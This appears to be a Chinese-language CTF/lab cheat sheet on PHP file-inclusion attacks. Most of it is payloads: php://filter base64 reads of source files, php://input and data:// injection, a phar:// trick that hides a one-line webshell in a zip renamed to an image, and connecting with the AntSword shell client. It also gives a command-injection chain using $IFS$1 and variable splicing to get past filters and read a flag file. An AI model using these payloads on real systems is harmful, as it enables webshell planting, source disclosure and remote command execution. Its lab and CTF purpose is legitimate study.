文件包含:
上传一个图片马,然后复制图像链接,在通过文件包含漏洞调用图片马,然后用蚁剑连接。
用法: ?filename=php://filter/convert.base64-encode/resource=xxx.php
或者是?filename=php://filter/read=convert.base64-encode/resource=xxx.php
通过base64编码将xxx.php的源码显示在界面中,然后再解码就可以得到flag。
?file=php://input 然后通过post传入
http://192.168.199.46/Tkitn/LFI/test1/index.php?user=data://text/plain;base64,MTIz(123的base64编码)
http://192.168.199.46/Tkitn/LFI/test1/index.php?user=php://input 然后post 中输入1=123 ,然后抓包把1= 删除,放包即可;
用法:?file=phar://压缩包/内部文件 phar://xxx.png/shell.php 注意: PHP > =5.3.0 压缩包需要是zip协议压缩,rar不行,将木马
文件压缩后,改为其他任意格式的文件都可以正常使用。 步骤: 写一个一句话木马文件shell.php,然后用zip协议压缩为shell.zip,
然后将后缀改为png等其他格式。 例:http://localhost/Tkitn/upload-labs-master/?file=phar://upload-lab-lab/123.jpg/123.php
拼接flag 1;a=fl;b=ag.php;cat $a$b
其中有这么一条过滤方法,我们用上述方法无法绕过,但是我们只要改变一下顺序就可以: 1;a=ag.php;b=fl;cat $b$a绕过空格就用上面提到的$IFS$1完整的payload 1;a=ag.php;b=fl;cat$IFS$1$b$a
else if(preg_match("/.f.l.a.g.*/", $ip)){die("fxck your flag!");}
远程文件包含的条件:
远程包含,要保证php.ini中allow_url_fopen和allow_url_include要为On,也就是打开状态
php.ini 中,allow_url_fopen 默认一直是 On,而 allow_url_include 从 php5.2 之后就默认为 Off